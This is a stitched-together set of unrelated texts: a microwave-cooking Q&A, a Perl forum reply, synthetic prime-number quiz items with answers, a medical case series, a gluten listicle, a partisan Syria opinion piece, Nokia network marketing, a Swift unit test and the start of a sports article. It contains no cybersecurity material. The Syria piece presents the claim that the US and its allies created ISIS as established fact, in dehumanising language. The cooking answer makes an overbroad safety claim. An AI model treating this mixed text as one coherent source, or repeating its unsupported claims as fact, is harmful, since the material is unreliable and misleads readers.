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Q:
What if I microwave Beyond Meat?
I have a bag of Beyond Meat crumbles. Before reading the bag, I microwaved the crumbles in a bowl until they were thoroughly heated.
...Then I noticed that the bag says "DO NOT MICROWAVE". Is there a health concern with microwaving the product, or are the directions intended to ensure that the product is as enjoyable as it can be?
A:
There are no health concerns with microwaving food. Microwaves excite water molecules to heat food, they don't change food or make it dangerous. When a product says do not microwave it means one of 3 things:
The packaging is not meant to be microwaved: heating some types of packaging can cause bad tastes or smells in food, or cause the packaging to release unhealthy chemicals. Putting the food in a microwave safe dish solves this problem
Microwave heating causes undesirable texture changes in the food. Microwaving can sometimes cause a rubbery texture, or make it soggy
As @fraxinus rightly points out some foods can explode in the microwave, especially food with a shell or airtight covering of some sort like eggs and potatoes. Heat causes pressure to build until the shell or covering fails, causing a 'rapid unscheduled disassembly' as they say in the aerospace industry when something blows up
Number 2 is the most likely reason the package said do not microwave.
A:
On the Beyond Meat website there's no mention either way of microwaving (other than the section that reproduces the packaging you've already seen), however searching their tweets reveals that they concede it's possible, though undesirable, to microwave the stuff:
https://twitter.com/BeyondMeat/status/615620476862230528
while you can microwave the #BeastBurger, we always recommend grilling
for the best taste, texture and experience!
https://twitter.com/BeyondMeat/status/424243984341684224
most of our fans eat them [Beyond Chicken Strips] out of the box, we
recommend pan frying them, but they are totally microwave safe!
A:
Health related concerns are off-topic here, but pretty much anything that can be cooked on a stove can be heated in the microwave, whether the food is then palatable is another issue. There are a few things that are worth considering:
Microwaving food cooks differently to on a stove in that the water in the food is heated by the microwaves, this can lead to unpleasant textures in some foods
Similarly, microwaving some items has a burning risk if they are a dry food like bread - the inside browns before the outside (reverse toast anyone?) and could potentially catch fire without warning
Cooking on a stove usually means adding some other ingredients such as oil or water to help heat it, which alters the taste and can enhance flavour; you might not get this with food heated directly in the microwave.
|
note
brap
<p>Hey anonymous,</p>
<p>I could be way off base here, but it almost sounds like you want an array of counters, where each element of the array represents the position of the line you're counting. Something along the order of (untested):</p>
<code>
if ($split_seq_to_examine[$j] eq 'A') {$count_A[$j]++;}
elsif ($split_seq_to_examine[$j] eq 'T') {$count_T[$j]++;}
elsif ($split_seq_to_examine[$j] eq 'C') {$count_C[$j]++;}
elsif ($split_seq_to_examine[$j] eq 'G') {$count_G[$j]++;}
elsif ($split_seq_to_examine[$j] eq '-') {$count_non[$j]++;}
</code>
<p>To find out what you have in, say, position 56, look at <c>$count_A[56], $count_T[56], $count_G[56], and $count_C[56]</c>.</p>
1007821
1007821 |
3. Let l = h + 54. Let s = 684 - l. Is s a prime number?
True
Suppose -3*m + w + 19 = 0, 7*m - 31 = 5*m - 3*w. Suppose -m*x + 18543 = -11545. Is x prime?
True
Let v(t) = 10531*t**2 - 48*t + 12. Is v(5) prime?
True
Let v(j) = -j + 47. Let c be v(23). Suppose -4*r + c = -0*r. Suppose 2868 = r*m - 906. Is m a composite number?
True
Let n = -35384 + 73063. Suppose y - 2*d = 2*d + n, -4*y - 3*d + 150659 = 0. Is y prime?
False
Is 8 - (-1463132)/((-96)/(-24)) prime?
True
Let j(b) = -5371*b - 1. Let w be j(-1). Suppose -10*v = -20*v + w. Is v a composite number?
True
Let h(c) = -62*c**3 + 7*c**2 - 17*c - 81. Is h(-7) a composite number?
False
Suppose 101230 = -12*r + 14*r + 3*j, -5*j = 0. Is 6/3*(r/10 - -5) a composite number?
False
Let v = -4599 + 3013. Let a be ((-4)/6)/((-53)/18 - -3). Is a*(5 + v/8) prime?
False
Let u = 20173 + 42586. Is u prime?
False
Suppose 5*p = 3*k + 10455 + 3046, 0 = -5*k + p - 22509. Let b = k - -6303. Is b prime?
True
Let z(a) = 298*a + 59. Let m(r) = -296*r - 60. Let x(o) = 6*m(o) + 7*z(o). Is x(15) a prime number?
True
Let m(i) = 6883*i - 5624. Is m(25) composite?
True
Let l(o) = 3*o**3 - 111*o**2 + 2042*o + 107. Is l(85) composite?
False
Let r be ((-42)/9 + 3)*(-3 - 0). Suppose j = 2*v, -r*j - 5*v = -3*j - 9. Suppose -d = -0*d + 4, j*z = -4*d + 8254. Is z a prime number?
False
Let u = 19907 + -10640. Let l = u + -5506. Is l composite?
False
Suppose 5*p = -2*t + 24439, -5*t + 0*p + 61132 = p. Suppose -m = -5 - 0, -3*m - t = -2*v. Is v a prime number?
True
Is (2373 - 1)*(-37)/(-4) composite?
True
Let v(i) = 242*i**2 + 82*i - 821. Is v(12) a prime number?
False
Suppose -219*l = -226*l + 883393. Is l a prime number?
True
Suppose -4*r + 10 = 3*d, -r - 3*d + 4 = -3*r. Let p be 7/(14/(-16)) - (-1 + r). Is (46/p)/((-1329)/332 - -4) a composite number?
True
Let v = -45 - -50. Suppose -v*r - 684 = -z, z - 4*z + 2096 = -4*r. Let k = z + -487. Is k a composite number?
True
Suppose -a + v = 2*a - 150, 4*a - 4*v = 192. Suppose a*r - 64*r + 5447 = 0. Is r prime?
True
Let z(f) = f**3 + 23*f**2 - 24*f + 24. Let w be z(-25). Let k = w - -1260. Is k prime?
False
Let x(y) = -y**3 - 6*y**2 - 10*y + 2. Let k be x(-3). Suppose 4*a = t + 9631, -5*a = -0*a + k*t - 12020. Is a a composite number?
True
Let u(k) = 105753*k**2 - 3*k + 3. Is u(1) prime?
False
Let x = 113 + -119. Is ((-22)/x)/((-6)/(-198)) a composite number?
True
Let c(w) = 11*w**3 + 10*w**2 + 4*w + 12. Is c(5) a prime number?
True
Let j be 49/(-14)*6/(-7). Suppose -389803 = 3*x - 6*x + t, 0 = -x + j*t + 129929. Is 3/(-8) + x/104 composite?
False
Let y(h) = -h**2 - 15*h - 26. Let w be y(-11). Suppose w = 3*n + 3*n. Suppose -3*s = -l - 2665, 4*s - n*l + 6*l = 3536. Is s a prime number?
True
Suppose -12*x - 18 = 30. Let v(m) = 298*m**2 - 7*m - 5. Is v(x) prime?
False
Let f(p) = -4*p**3 + 3*p**2 - p - 7. Let c be f(3). Suppose 0 = -5*b + 25, 5*b - 337 = -4*v + 2584. Let m = v + c. Is m a composite number?
True
Let q = 70757 - -42696. Is q a composite number?
False
Suppose -4*s - 780809 = -3*y, 355850 + 164686 = 2*y - s. Is y a composite number?
True
Suppose -252 = 117*s - 138*s. Let b be 1103444/16 + 2/(-8). Suppose i - b = -s*i. Is i a prime number?
False
Suppose 5*u - 19362009 = -7*u - 61*u. Is u composite?
True
Suppose -4 = -2*r - 18*j + 16*j, -2 = -2*r - 3*j. Suppose r*i + 5*z = 7*z + 69826, 3*i - 52377 = 4*z. Is i composite?
True
Let x = -401 + 412. Suppose -4*h + 711 = -3*h. Is (x/3)/(3/h) a composite number?
True
Suppose 66*d - 9285964 - 603674 = 0. Is d a composite number?
True
Let k(i) = 103*i**3 - 11*i**2 + 2*i - 9. Let a(m) = 51*m**3 - 6*m**2 + m - 3. Let w(b) = 7*a(b) - 4*k(b). Is w(-4) composite?
False
Suppose 0 = -10*u - 8*u + 1356012. Suppose -2*b = -m - u, b = -7*m + 11*m + 37667. Is b composite?
True
Let f(x) = -4*x**3 + 7*x + 24. Let m(l) = -9*l**3 - l**2 + 15*l + 48. Let p(j) = 13*f(j) - 6*m(j). Is p(7) a composite number?
True
Suppose 4*n - 775844 = 2*g + 306140, 0 = -8*n + g + 2163986. Is n a composite number?
True
Let c be 139590/(-33) - 8*-1. Let r = c + 8409. Is r composite?
True
Let t be (-34)/6 - 69/207. Is (143624/(-16) - -5)*t/9 prime?
True
Let n(j) = 2*j**3 + 30*j**2 - 62*j - 32. Let k be n(-26). Let t = -9461 - k. Is t composite?
True
Let t = -40 + 44. Suppose b + 4 = -t*n + 14, 5*b + 10 = 0. Is (-12)/n + 1 - -298 a prime number?
False
Let d = 804850 + -398351. Is d composite?
False
Let k = -23036 + 40024. Let i = -8935 + k. Is i prime?
True
Let h be 6*(-2)/(-78) - (-2)/(-13). Suppose -4*t + 5 + 7 = h. Suppose 901 = t*z - 4*l, l - 3 = 4*l. Is z a composite number?
True
Suppose 4*q + 66096 = 4*j - 6200, -4*q + 12 = 0. Is j composite?
False
Let n = -9144 - -15748. Let j be (-10 - -15)*4/(1 + 3) - 1. Suppose 4*q = -4*p + n, 0 = 2*q + j*p - 0*p - 3302. Is q a composite number?
True
Suppose 0 = -75*r + 440398 + 236777. Is r prime?
True
Let x be 2/(-3) + 20/(-6). Let n = 0 - x. Suppose 2*r = n*w - 0*w - 1176, -2*w + 4*r = -594. Is w prime?
True
Suppose 11114 = -9*r - 13258. Is 14*r*(-3)/24 prime?
False
Suppose 3*j + 33*c - 28*c = 194331, 4*j = -3*c + 259108. Is j prime?
False
Let j(d) = -d**2 + 6*d. Let r be j(5). Suppose 27*i = 26*i + r. Is 1 + 597 - i/(-5) prime?
True
Suppose 170613 = 5*n - 11*k + 7*k, -4*k = -4*n + 136492. Is n prime?
False
Let t(o) = -4*o + 60. Let k be t(0). Is 17390/8 - k/80 prime?
False
Let s(q) = -1595*q - 1 + 374*q + 2 - 677*q - 6. Is s(-2) prime?
False
Suppose -5*o - 20 = 0, 4*g - 2*o - 2 - 6 = 0. Suppose m = 2*w - 3319, -5*m + 0*m - 25 = g. Is w a prime number?
True
Suppose 2*v - 15 = -3*o, 5*o - 5*v + 14 = 39. Suppose 0 = -3*a + a + 92. Suppose 1001 - a = o*c. Is c prime?
True
Suppose 1698237 = -3490*k + 3499*k. Is k prime?
True
Let m = -48278 - -79455. Is m prime?
True
Suppose 3*y + 3*i - 18 = 0, 0 = -5*y - i - 0*i + 42. Let m be 26/117 + 34/y. Suppose -4*l + 1084 = m*c, -c = -3*l - 2*l + 1355. Is l composite?
False
Is -4*(-5)/40 - 20913900/(-120) composite?
True
Suppose 30*z + 3556 = 31*z. Let k = 8055 - z. Is k composite?
True
Suppose 3*q + 7638 = g - 6163, 3*q + 3*g = -13809. Let i = 16956 - q. Is i a prime number?
True
Let p(u) = u**3 - 16*u**2 + 31*u - 42. Let v(r) = -r**3 + 16*r**2 - 31*r + 43. Let h(f) = -4*p(f) - 5*v(f). Is h(25) a prime number?
True
Suppose 6371 = 2*q - 10411. Suppose -7*j - 880 + q = 0. Is j composite?
True
Suppose -4*b + 9 = 1. Suppose 6*c = b*c - 1520. Let u = 918 + c. Is u a prime number?
False
Suppose 0 = 17*c + 30*c - 233115 - 559070. Is c a composite number?
True
Is 2/19 + 102/114 + 14280 prime?
True
Let p(l) = 1539*l - 52. Let a(b) = 4. Let i(t) = 3*a(t) + p(t). Is i(9) composite?
True
Suppose 2*t = -r + 86085, -r - 2*r + 4*t = -258215. Is (-2)/(-14)*(12 - r)/(-5) prime?
True
Let c(y) = 514*y**2 + 28*y - 8. Let l be c(7). Suppose 21 = 4*p + 9, -p = -3*w + l. Is w prime?
False
Suppose 0 = 5*j + 4*c + 150, -c + 21 = -0*j - j. Is 283179/j*(-4)/6 a composite number?
True
Suppose -2*b - 10*b + 4*b = 0. Is (-2 - b) + (4 - -1351 - -8) prime?
True
Let c(j) = -13*j**3 - 232*j**2 + 75*j + 37. Is c(-57) a prime number?
False
Let b(m) = 45*m**2 - 55*m + 421. Is b(26) composite?
False
Suppose 4 + 32 = 3*j + 3*s, 4*j - 48 = 4*s. Suppose j = 9*w - 105. Is 2/w - 176241/(-169) a prime number?
False
Suppose -19*j = -394876 - 512013. Is j a prime number?
False
Suppose -38514 = 2*t + 5*y, y + 77000 = -4*t - 2*y. Let m = -8374 - t. Is m composite?
True
Let v be (-420)/40*(12/(-9))/(-1). Is (v/(-6) - 3)*193578/(-28) composite?
True
Let p be (-1950596)/(-30) + (-8)/(-60) - 4. Suppose -11*h + 144446 + p = 0. Is h a prime number?
False
Suppose -315*a = -299*a - 11883568. Is a composite?
False
Suppose 102*m - 5125862 = 88*m. Is m composite?
False
Let b(u) = u**3 - 3*u + 1. Let s be b(2). Suppose 0 = -5*p + 20, p = -s*h + 2*p - 5413. Let w = h - -3984. Is w prime?
False
Let z = 47697 + 17102. Is z a prime number?
False
Suppose 7*f + 3143 + 12187 = 0. Let b = f - 78. Let y = -1499 - b. Is y prime?
True
Suppose -4*l + 99026 = -5*a - 534641, -792120 = -5*l - a. Is l composite?
True
Suppose -5*a + 13 = 3. Suppose a*t + j - 344 = -2*j, 2*t - 4*j = 330. Is ((-6)/4)/(-3)*(t + -3) a prime number?
True
Let x be 1202/(-4)*5/(-10)*4. Let p = 5 + -3. Suppose -s = 5*w - x, 3*s - 4*w - 565 = p*s. Is s composite?
True
Let d(w) = 4938*w |
Introduction
============
Ischemic colitis usually results from atherosclerosis and low blood flow. Acute colonic ischemia is a common cause of colitis in the elderly, in whom colonic ischemia is a cause of morbidity. However, ischemic colitis involving the cecum alone is quite rare, with only a few case reports in the literature. Isolated ischemic involvement of the right colon has been reported with increasing frequency, particularly in association with shock \[[@B1],[@B2]\]. Cecal infarction presents with right lower quadrant pain, and therefore may resemble acute appendicitis. As this variant of ischemic colitis is less common, it may not be considered in the differential diagnosis of right lower quadrant pain. Given the possibility of cecal perforation, an early diagnosis and surgical treatment are very important factors in such cases. Little is known about postoperative ischemic necrosis of the remaining colon after surgical treatment of isolated cecal necrosis. Here, we report four patients with isolated cecal necrosis mimicking acute appendicitis seen at our institution within a 4-year period.
Case presentation
=================
This series is a retrospective analysis of isolated cecal necrosis cases diagnosed and treated at Inonu University Turgut Ozal Medical Center between July 2004 and June 2008. After a detailed examination of the medical records, four patients with confirmed diagnoses of isolated cecal necrosis were identified. Data regarding their age, sex, clinical presentation, comorbid diseases, imaging findings, treatment modality, and follow-up were reviewed. The results of hematological and biochemical analyses were evaluated, including the hemoglobin level, white blood cell count, lactate dehydrogenase, and alkaline phosphatase, as well as plain X-rays, abdominal ultrasound (US), and computed tomography (CT) of the abdomen.
The patients consisted of two men and two women with a mean age at diagnosis of 59 years (range 46-68). The patients were Turkish ethnic origin. All patients presented at the emergency room with acute abdominal pain and had symptoms of abdominal pain, nausea, and vomiting. Acute appendicitis was considered in all of the patients pre-operatively. The medical histories of three patients revealed end-stage renal failure requiring hemodialysis. The other patient had chronic obstructive pulmonary disease. The patients\' laboratory findings and clinical characteristics are shown in Table [1](#T1){ref-type="table"}.
######
Patient characteristics and laboratory findings
Age, sex Comorbid diseases WBC Hb (g/dL) LDH (U/L) CK (U/L) Treatment Follow-up (months)
---------- ------------------- -------- ----------- ----------- ---------- --------------------- --------------------
58, F CRI, DM, HT 23,700 11.1 618 238 Right hemicolectomy 17
68, F CRI 16,400 16.5 323 647 Right hemicolectomy 19
64, M COPD 19,400 12.1 911 50 Right hemicolectomy 25
46, M CRI 21,000 13.6 262 719 Cecum resection 37
CRI, chronic renal insufficiency; DM, diabetes mellitus; HT, hypertension; COPD, chronic obstructive pulmonary disease; WBC, white blood cell count; Hb, hemoglobin; LDH, lactate dehydrogenase; CK, Creatine Kinase.
There were no specific signs in the patients\' pre-operative plain X-rays. Abdominal US revealed free intra-abdominal fluid in one patient, while the results of abdominal US were normal in the other patients. Only one patient underwent CT, the results of which were normal. In one patient, a diagnosis of cecal necrosis was made at diagnostic laparoscopy. At laparotomy, isolated cecal necrosis and a normal appendix were seen in all patients (Figure [1](#F1){ref-type="fig"}). Three patients were treated with right hemicolectomy, and the remaining one patient was treated with cecum resection. Histopathological examinations revealed acute ischemic changes with transmural necrosis and serositis isolated in the cecum in all patients (Figure [2](#F2){ref-type="fig"}). None of the patients showed mesenteric vascular occlusion. There were no postoperative complications, and the median follow-up period was 24.5 (range: 17-37) months.
{#F1}
{#F2}
Discussion
==========
Colonic ischemia is an significant cause of morbidity in the elderly. The causes of colonic ischemia can be classified as occlusive and non-occlusive \[[@B3]\]. Occlusive factors include atherosclerosis, thromboembolization, venous occlusion, and mechanical bowel obstruction. Non-occlusive colonic ischemia is due to a low-flow state (shock), which causes mesenteric vasoconstriction \[[@B1]\]. Isolated cecal necrosis can follow atherosclerotic or thromboembolic occlusion of the cecal arteries. Non-occlusive cecal infarction has been reported to occur in association with open-heart surgery, chronic heart disease, certain drugs, and hemodialysis \[[@B4]\]-\[[@B7]\].
Hemodialysis patients are at increased risk of ischemic colitis because they have accelerated rates of arterial vascular disease \[[@B8]\]. In addition, hypotension is common during dialysis as large amounts of fluid are removed during the procedure. Our three patients with end-stage renal disease underwent dialysis 3-4 times per week. We evaluated the patients\' blood pressure during dialysis before the development of cecal necrosis, and a decrease to 60/40 was observed.
One patient had chronic obstructive pulmonary disease (COPD). There have been no previous reports of a connection between COPD and cecal necrosis. In this patient, the histopathology was reported as hemorrhagic ischemic necrosis, with patent mesenteric arteries. The patient may have had an insufficient blood oxygen level. Overall, isolated right colon or cecal necrosis is poorly understood \[[@B9]\].
Patients with this condition present with sudden-onset predominantly colicky, right-sided lower abdominal pain. An early clinical sign is pain or pressure in the right lower abdomen, which develops to general abdominal tenderness with muscular guarding within a few to 48 hours \[[@B8]\]. The symptoms in three of our patients began 24 hours after hemodialysis. All of the patients developed abdominal tenderness, guarding, and rebound tenderness. The initial symptoms were abdominal pain and nausea.
Isolated cecal necrosis may present a diagnostic challenge, as it is an unusual, less well-known, and rather atypical presentation of acute colonic ischemia \[[@B10]\]. Diagnosis is difficult because patients present with right-sided abdominal pain and tenderness, suggesting appendicitis, cecal diverticulitis, stercoral perforation, or cecal carcinoma. At present, there is no specific serum marker for colonic ischemia. Diagnostic US has been reported to be helpful in such cases \[[@B11]\]. CT shows nonspecific findings \[[@B12]\], although cecal wall thickening with isolated pneumatosis coli are strongly suggestive of the diagnosis \[[@B13]\]. Abdominal US was performed in all of our patients, while one patient underwent abdominal CT. There were no specific signs of cecal necrosis. To make a correct diagnosis, suspicion of cecal necrosis based on the clinical history and examination is very important. The use of colonoscopy in patients with suspected ischemic colitis is controversial. Bradbury et al. cautioned that colonoscopy may increase colonic perfusion because of increased transmural pressure \[[@B14]\]. We did not perform colonoscopy in any of our patients.
Diagnostic laparoscopy may be useful for diagnosis and treatment. Based on the results of diagnostic laparoscopy, we can choose the appropriate incision type. In one of our patients, the diagnosis of cecal necrosis was made at diagnostic laparoscopy, and a middle abdominal incision was chosen. Partial cecal necrosis can be treated by laparoscopic partial cecal resection \[[@B15]\]. Open surgery was chosen for our patient because of technical problems with the laparoscopic approach at the time of surgery.
If the clinical history and examination lead to suspicion of cecal necrosis, laparotomy should be performed without delay. A middle abdominal incision should be made to allow exploration of all of the intra-abdominal organs and intestine.
The treatment of choice for isolated cecal necrosis is cecal resection or right hemicolectomy. If evidence of peritonitis persists, right hemicolectomy with anastomosis can be performed satisfactorily \[[@B16]\]. One of our patients had 1000 mL of purulent fluid in the abdominal cavity. Cecal resection with an ileocolostomy was performed in this patient, and the patient healed without complications. Right hemicolectomy with anastomosis was performed in the other three patients. The appendix was normal in all patients.
Little information is available regarding the incidence of postoperative ischemic necrosis of the remaining colon after surgical treatment of isolated cecal necrosis. The postoperative course in all of our patients was uneventful. There was no new intestinal vascular occlusion or ischemic colitis in the postoperative period.
Conclusion
==========
Isolated cecal infarction should be included in the differential diagnosis of acute right lower quadrant pain, especially in chronic dialysis patients. While ischemic diseases of the intestine have high morbidity and mortality rates, with early diagnosis and surgery, isolated cecal necrosis has a good prognosis.
Consent
=======
Written informed consent was obtained from the patients before publication of this case series and any accompanying images. A copy of the written consent is available for review by the Editor-in-Chief of this journal.
Competing interests
===================
The authors declare that they have no competing interests.
Authors\' contributions
=======================
AD is the consultant surgeon who drafted the article and performed the operations. BU assisted in performing the surgery, took the pictures and helped revise the article. NB made the histopathologic diagnosis of the patients. CA and FT helped in surgical treatment of the patients. CK helped in acquisition of data and technical support. All authors have read and approved the final manuscript.
|
Once you start to dive deeper into what it takes to keep gluten out of your daily food intake, you'll soon start to see hidden sources of gluten in places that may surprise you.
Making a lot of your own food gives you control over keeping hidden gluten off your plate. Luckily, since celiac disease and issues of gluten intolerance have become more mainstream, there are many commercially available gluten-free alternatives to products you might rely on in your pantry.
Here are eight foods you probably had no idea contained gluten — and what you can eat instead.
1/
Oats
It's true that oats by themselves do not contain gluten. However, the key is "by themselves." Commercial farms frequently grow oats and other crops together— including wheat, barley, rye, and other grains. That means cross-contamination can occur pretty much whenever the wind blows — as well as along the production line after harvest.
What to eat instead:
Oats specifically marked as "gluten-free" are grown, harvested, and processed in dedicated gluten-free facilities for anyone who has gluten sensitivities. For those with extreme sensitivities, the website Gluten Free Watchdog maintains a list of companies that voluntarily adhere to a gluten-free purity protocol with their oats.
2/
Blue cheese and blue cheese dressing
According to registered dietitian Tricia Thompson, blue cheese is often suspect because it's a category of cheeses made using penicillium spores that may or may not have been grown on a medium — such as rye bread — that contains gluten. It's difficult to get clear answers, so the matter is one of eternal debate.
What to eat instead:
Pringles
You can read sad tales of former Pringles-lovers who discovered that they couldn't eat their favorite chip anymore all over the Internet. It's true: Pringles contain wheat ingredients.
What to eat instead:
Several companies have lists of chips available in the US that are gluten-free. So rest assured, you're definitely not our of chip options. Here are a few to get you started, but be sure to check the manufacturer's website of your favorite snack brand if it's not listed here:
Cornbread
Read over many popular cornbread recipes and you'll see two things. They all contain cornmeal, and they all contain some variety of wheat flour. The same is true of restaurant cornbread, as well.
Unless something specifically says that it is gluten-free, do not mistakenly believe that it contains no wheat products.
What to eat instead:
I would never suggest you completely give up cornbread — I'm not a monster. If you love cornbread and you're interested in making it yourself, I make this recipe all the time. Some baking mix companies also offer GF cornbread mixes if you just want recipe training wheels.
7/
Candy
Lots of candy bars and other sweet treats that you may love contain gluten. Twizzlers, Almond Joy, and Milky Way are all examples. Always read the labels carefully if you're trying to avoid this or any other allergen. |
by Brandon Turbeville at Activist Post
In yet another telling episode, the United States has again demonstrated its true position in regards to ISIS and the Russian bombing of the terrorist organization.
As Russian forces drop bombs and missiles on top of ISIS fighters all across Syria, lobbing cruise missiles from the Caspian, regular sortie missions, and combat helicopter attacks against ISIS and other “relatively moderate” cannibals and terrorists, the United States launched a bombing mission of its own against two power plants in Aleppo.
The power plants were located in al-Rudwaniya east of Aleppo and resulted in power outages affecting the Syrian people, adding to the American tradition of bombing civilian infrastructure instead of ISIS and other terrorist targets in Syria. The power outages only further contribute to the misery surrounding the people of Aleppo who have been bombarded by barbarians funded by the United States and NATO, intent of raping and beheading their way through the city and declaring their caliphate of pre-civilization on civilized people.
It should also be noted that the US bombing campaign is a violation of international law, unlike the Russian campaign where Russian forces were invited in to the country by the legitimate government.
The United States has long maintained that its bombing campaign was directed at ISIS but, to date, very little damage has been done to ISIS structures, facilities, or personnel by any American airstrikes. Only when ISIS fighters are threatening a Western interest (i.e. an oil well owned by a Western company) or when NATO has been unable to simply redirect ISIS forces via embedded or proxy commanders do terrorists actually find themselves bombarded by what is, in reality, an act of “death squad herding.”
Instead, the U.S. has repeatedly bombed oil refineries, bridges, grain silos, food distribution facilities, and other civilian infrastructure and civilian areas.
The US support of ISIS can scarcely be denied given the fact that the U.S., in collusion with NATO, GCC, and Israel were responsible for the creation of the terror group to begin with as well as for inserting it into Syria for the purpose of destroying the secular government of Bashar al-Assad.
The American reaction to the Russian campaign itself is telling enough, with the US State Department panicking and throwing fits over the Russian bombing of terrorist targets who, even with the best PR money can buy, can only at best be described as “relatively moderate.” Of course, in relation to heart eating cannibals, baby killers, and perpetrators of the most grotesque murders ever witnessed, virtually anyone might appear “moderate.” Still, none of the savages fighting against Assad in Syria are even moderate in comparison since – despite their presence in different brigades and different units of terror complete with a myriad of different names – they are all part of the same overarching organization that is controlled, backed, funded, and directed by the West.
There never were any moderate rebels in Syria and there are no “relatively moderate” rebels operating in Syria today. The Syrians recognize this. The Iranians and Hezbollah recognize this. The Russians recognize this. It is high time for the American people to join the reality-based community and recognize this as well. |
Next-generation PON
Next-generation PON: The next step for GPON
Our universal next-generation PON approach converges several key NG-PON technologies into one solution. It lets you connect XG-PON1, XGS-PON or TWDM-PON optical network terminations using one line card and a platform that is already widely deployed for GPON. With our solution, you can make simple, flexible and efficient network upgrades to 10G and beyond.
By deploying our next-generation PON solution, you can open up new paths to efficiency, value and growth, either on your own or in partnership with others.
Get the right solution for all your needs
When you upgrade your network, you need to choose technologies that will let you deliver competitive services and generate a good return on investment. You also need to balance short- and longer-term thinking. A wrong choice today could lead to expensive forklift upgrade in the future.
Our universal next generation PON solution gives you the flexibility to overcome these challenges.
You can address current demand with XGS-PON technology that supports 10/10G and 10/2.5G bit rates using cost-effective non-tunable optics. This approach allows you to add wavelengths to existing fiber and generate revenue with premium 10G services.
Next, you can introduce TWDM-PON by adding tunable optics to existing access nodes. With TWDM-PON, you can increase bandwidth, streamline operations and facilitate co-investment.
Generate more revenue
Get more value from the network
Decrease cost and risk
Share infrastructure and resources
Avoid technology and platform lock-in
Why adopt universal next-generation PON?
Comprehensive service convergence
Stop paying to run a separate network for each service. With our solution, you can converge business and backhaul services on your residential network. You can also assign each service to a separate wavelength and let it evolve at its own pace.
A flexible next-generation PON deployment lets you:
Increase bandwidth or support more residential users by adding wavelengths
Boost bandwidth on copper loops by backhauling large numbers of micro-nodes
Simpler co-investment and unbundling
Accelerate deployment by sharing the risk and cost of rolling out and operating a fiber network. Universal next-generation PON lets each operator have its own wavelength. This makes it an excellent solution for joint ventures, government-owned networks and unbundling scenarios.
Wavelength mobility
Improve your efficiency by managing wavelength assignments from the central office. TWDM-PON enables you to move end users to different wavelengths to rebalance bandwidth, prevent outages during upgrades, or reduce energy costs during off-peak hours.
Nokia can help you make a successful move to next-generation PON Our award-winning FTTH solutions have been deployed by more than 200 operators. They power some of the biggest and most advanced fiber networks in the world. We were the first to deliver 10G technologies over fiber, copper and cable, supported by innovations and expertise from our Bell Labs researchers. We are committed to leading the industry into the next-generation PON era, and to helping you use get more value from your fiber network. |
//
// ApplicationTestLogFilesListenerSpec.swift
// FBSnapshotsViewer
//
// Created by Anton Domashnev on 26.04.17.
// Copyright © 2017 Anton Domashnev. All rights reserved.
//
import Quick
import Nimble
@testable import FBSnapshotsViewer
class ApplicationTestLogFilesListener_MockFolderEventsListenerFactory: FolderEventsListenerFactory {
var mockApplicationTestLogsEventsListener: FolderEventsListener!
var givenDerivedDataFolder: DerivedDataFolder!
override func applicationTestLogsEventsListener(at derivedDataFolder: DerivedDataFolder) -> FolderEventsListener {
givenDerivedDataFolder = derivedDataFolder
return mockApplicationTestLogsEventsListener
}
}
class ApplicationTestLogFilesListenerSpec: QuickSpec {
override func spec() {
let derivedDataFolder = DerivedDataFolder.xcodeCustom(path: "Users/Antondomashnev/Library/Xcode/DerivedData/")
var folderEventsListenerFactory: ApplicationTestLogFilesListener_MockFolderEventsListenerFactory!
var applicationTestLogsEventsListener: FolderEventsListenerMock!
var applicationTestLogFilesListener: ApplicationTestLogFilesListener!
var applicationTestLogFilesListenerOutput: ApplicationTestLogFilesListenerOutput!
var outputPath: String?
beforeEach {
applicationTestLogFilesListenerOutput = { path in
outputPath = path
}
applicationTestLogsEventsListener = FolderEventsListenerMock(folderPath: "", filter: nil, fileWatcherFactory: FileWatcherFactory())
folderEventsListenerFactory = ApplicationTestLogFilesListener_MockFolderEventsListenerFactory()
folderEventsListenerFactory.mockApplicationTestLogsEventsListener = applicationTestLogsEventsListener
applicationTestLogFilesListener = ApplicationTestLogFilesListener(folderEventsListenerFactory: folderEventsListenerFactory)
}
describe(".stopListening") {
beforeEach {
applicationTestLogFilesListener.listen(derivedDataFolder: derivedDataFolder, outputTo: applicationTestLogFilesListenerOutput)
applicationTestLogFilesListener.stopListening()
applicationTestLogFilesListener.folderEventsListener(applicationTestLogsEventsListener, didReceive: FolderEvent.created(path: "createdPath.log", object: .folder))
}
it("stops current listening") {
expect(outputPath).to(beNil())
}
}
describe(".folderEventsListener(didReceive:)") {
beforeEach {
applicationTestLogFilesListener.listen(derivedDataFolder: derivedDataFolder, outputTo: applicationTestLogFilesListenerOutput)
}
context("when event without path") {
beforeEach {
applicationTestLogFilesListener.folderEventsListener(applicationTestLogsEventsListener, didReceive: FolderEvent.unknown)
}
it("doesnt output it") {
expect(outputPath).to(beNil())
}
}
context("when event with path") {
let eventPath = "Users/Antondomashnev/Library/Xcode/DerivedData/Application.log"
beforeEach {
applicationTestLogFilesListener.folderEventsListener(applicationTestLogsEventsListener, didReceive: FolderEvent.modified(path: eventPath, object: .folder))
}
it("outputs it") {
expect(outputPath).to(equal(eventPath))
}
}
}
describe(".listen") {
beforeEach {
applicationTestLogFilesListener.listen(derivedDataFolder: derivedDataFolder, outputTo: applicationTestLogFilesListenerOutput)
}
context("when already listening") {
beforeEach {
applicationTestLogFilesListener.listen(derivedDataFolder: derivedDataFolder, outputTo: applicationTestLogFilesListenerOutput)
}
it("stops current listening") {
expect(applicationTestLogsEventsListener.stopListeningCalled).to(beTrue())
}
}
it("starts listening the given derived data folder") {
expect(folderEventsListenerFactory.givenDerivedDataFolder).to(equal(derivedDataFolder))
}
it("starts listening") {
expect(applicationTestLogsEventsListener.startListeningCalled).to(beTrue())
}
}
}
}
|
Out in Utah, there is at least one person who’s keenly interested in what moves the Green Bay Packers will be making in free agency over the next two weeks, whether it’s by releasing players, re-signing them or finding one from another team.
Detached from social media, he’ll be watching the various sports networks to see which collegiate edge rushers are brought in for pre-draft interviews.
Sometimes, the life of an NFL player mirrors that of the fans who cheer for him and his team on Sundays.
Kyler Fackrell is in that space this offseason.
He found out Matt LaFleur was his new head coach the same way most did — through broadcast outlets. Players don’t get advance warnings on such things. The same could be said for the retention of defensive coordinator Mike Pettine, or the hiring of linebackers coaches Kirk Olivadotti and Mike Smith.
And now, with the NFL scouting combine underway and free agency to begin soon after, Fackrell is just as curious as the rest of Packers fans about what direction they may head when it comes to his position.
